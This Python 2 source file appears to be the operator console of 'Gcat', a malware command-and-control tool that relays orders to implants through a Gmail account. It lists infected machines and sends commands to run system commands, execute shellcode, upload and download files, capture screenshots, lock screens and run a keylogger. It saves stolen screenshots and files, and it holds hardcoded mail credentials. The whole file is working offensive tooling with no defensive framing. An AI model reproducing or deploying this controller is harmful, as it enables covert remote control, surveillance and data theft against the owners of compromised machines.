import argparse import email import imaplib import sys import uuid import string import ast import os import json import random from datetime import datetime from base64 import b64decode from smtplib import SMTP from argparse import RawTextHelpFormatter from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email import Encoders ####################################### gmail_user = 'gcat.is.the.shit@gmail.com' gmail_pwd = 'veryc00lp@ssw0rd' server = "smtp.gmail.com" server_port = 587 ####################################### def genJobID(slen=7): return ''.join(random.sample(string.ascii_letters + string.digits, slen)) class msgparser: def __init__(self, msg_data): self.attachment = None self.getPayloads(msg_data) self.getSubjectHeader(msg_data) self.getDateHeader(msg_data) def getPayloads(self, msg_data): for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): if payload.get_content_maintype() == 'text': self.text = payload.get_payload() self.dict = json.loads(payload.get_payload()) elif payload.get_content_maintype() == 'application': self.attachment = payload.get_payload() def getSubjectHeader(self, msg_data): self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] def getDateHeader(self, msg_data): self.date = email.message_from_string(msg_data[1][0][1])['Date'] class Gcat: def __init__(self): self.c = imaplib.IMAP4_SSL(server) self.c.login(gmail_user, gmail_pwd) def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): if (botid is None) or (jobid is None): sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") sub_header = 'gcat:{}:{}'.format(botid, jobid) msg = MIMEMultipart() msg['From'] = sub_header msg['To'] = gmail_user msg['Subject'] = sub_header msgtext = json.dumps({'cmd': cmd, 'arg': arg}) msg.attach(MIMEText(str(msgtext))) for attach in attachment: if os.path.exists(attach) == True: part = MIMEBase('application', 'octet-stream') part.set_payload(open(attach, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) msg.attach(part) mailServer = SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() print "[*] Command sent successfully with jobid: {}".format(jobid) def checkBots(self): bots = [] self.c.select(readonly=1) rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:')") for idn in idlist[0].split(): msg_data = self.c.uid('fetch', idn, '(RFC822)') msg = msgparser(msg_data) try: botid = str(uuid.UUID(msg.subject.split(':')[1])) if botid not in bots: bots.append(botid) print botid, msg.dict['sys'] except ValueError: pass def getBotInfo(self, botid): if botid is None: sys.exit("[-] You must specify a client id (-id)") self.c.select(readonly=1) rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:{}')".format(botid)) for idn in idlist[0].split(): msg_data = self.c.uid('fetch', idn, '(RFC822)') msg = msgparser(msg_data) print "ID: " + botid print "DATE: '{}'".format(msg.date) print "OS: " + msg.dict['sys'] print "ADMIN: " + str(msg.dict['admin']) print "FG WINDOWS: '{}'\n".format(msg.dict['fgwindow']) def getJobResults(self, botid, jobid): if (botid is None) or (jobid is None): sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") self.c.select(readonly=1) rcode, idlist = self.c.uid('search', None, "(SUBJECT 'imp:{}:{}')".format(botid, jobid)) for idn in idlist[0].split(): msg_data = self.c.uid('fetch', idn, '(RFC822)') msg = msgparser(msg_data) print "DATE: '{}'".format(msg.date) print "JOBID: " + jobid print "FG WINDOWS: '{}'".format(msg.dict['fgwindow']) print "CMD: '{}'".format(msg.dict['msg']['cmd']) print '' print msg.dict['msg']['res'] + '\n' if msg.attachment: if msg.dict['msg']['cmd'] == 'screenshot': imgname = '{}-{}.png'.format(botid, jobid) with open("./data/" + imgname, 'wb') as image: image.write(b64decode(msg.attachment)) image.close() print "[*] Screenshot saved to ./data/" + imgname elif msg.dict['msg']['cmd'] == 'download': filename = "{}-{}".format(botid, jobid) with open("./data/" + filename, 'wb') as dfile: dfile.write(b64decode(msg.attachment)) dfile.close() print "[*] Downloaded file saved to ./data/" + filename def logout(): self.c.logout() if __name__ == '__main__': parser = argparse.ArgumentParser(description=""" dP 88 .d8888b. .d8888b. .d8888b. d8888P 88' `88 88' `"" 88' `88 88 88. .88 88. ... 88. .88 88 `8888P88 `88888P' `88888P8 dP .88 d8888P .__....._ _.....__, .": o :': ;': o :". `. `-' .'. .'. `-' .' `---' `---' _...----... ... ... ...----..._ .-'__..-''---- `. `"` .' ----'''-..__`-. '.-' _.--''' `-._.-' ''''--._ `-.` ' .-"' : `"-. ` ' `. _.'"'._ .' ` `. ,.-'" "'-., .' `. .' jgs `-._ _.-' `"'--...___...--'"` ...IM IN YUR COMPUTERZ... WATCHIN YUR SCREENZ """, version='1.0.0', formatter_class=RawTextHelpFormatter, epilog='Meow!') parser.add_argument("-id", dest='id', type=str, default=None, help="Client to target") parser.add_argument('-jobid', dest='jobid', default=None, type=str, help='Job id to retrieve') agroup = parser.add_argument_group() blogopts = agroup.add_mutually_exclusive_group() blogopts.add_argument("-list", dest="list", action="store_true", help="List available clients") blogopts.add_argument("-info", dest='info', action='store_true', help='Retrieve info on specified client') sgroup = parser.add_argument_group("Commands", "Commands to execute on an implant") slogopts = sgroup.add_mutually_exclusive_group() slogopts.add_argument("-cmd", metavar='CMD', dest='cmd', type=str, help='Execute a system command') slogopts.add_argument("-download", metavar='PATH', dest='download', type=str, help='Download a file from a clients system') slogopts.add_argument("-upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the clients system") slogopts.add_argument("-exec-shellcode", metavar='FILE',type=argparse.FileType('rb'), dest='shellcode', help='Execute supplied shellcode on a client') slogopts.add_argument("-screenshot", dest='screen', action='store_true', help='Take a screenshot') slogopts.add_argument("-lock-screen", dest='lockscreen', action='store_true', help='Lock the clients screen') slogopts.add_argument("-force-checkin", dest='forcecheckin', action='store_true', help='Force a check in') slogopts.add_argument("-start-keylogger", dest='keylogger', action='store_true', help='Start keylogger') slogopts.add_argument("-stop-keylogger", dest='stopkeylogger', action='store_true', help='Stop keylogger') if len(sys.argv) is 1: parser.print_help() sys.exit() args = parser.parse_args() gcat = Gcat() jobid = genJobID() if args.list: gcat.checkBots() elif args.info: gcat.getBotInfo(args.id) elif args.cmd: gcat.sendEmail(args.id, jobid, 'cmd', args.cmd) elif args.shellcode: gcat.sendEmail(args.id, jobid, 'execshellcode', args.shellcode.read().strip()) elif args.download: gcat.sendEmail(args.id, jobid, 'download', r'{}'.format(args.download)) elif args.upload: gcat.sendEmail(args.id, jobid, 'upload', r'{}'.format(args.upload[1]), [args.upload[0]]) elif args.screen: gcat.sendEmail(args.id, jobid, 'screenshot') elif args.lockscreen: gcat.sendEmail(args.id, jobid, 'lockscreen') elif args.forcecheckin: gcat.sendEmail(args.id, jobid, 'forcecheckin') elif args.keylogger: gcat.sendEmail(args.id, jobid, 'startkeylogger') elif args.stopkeylogger: gcat.sendEmail(args.id, jobid, 'stopkeylogger') elif args.jobid: gcat.getJobResults(args.id, args.jobid)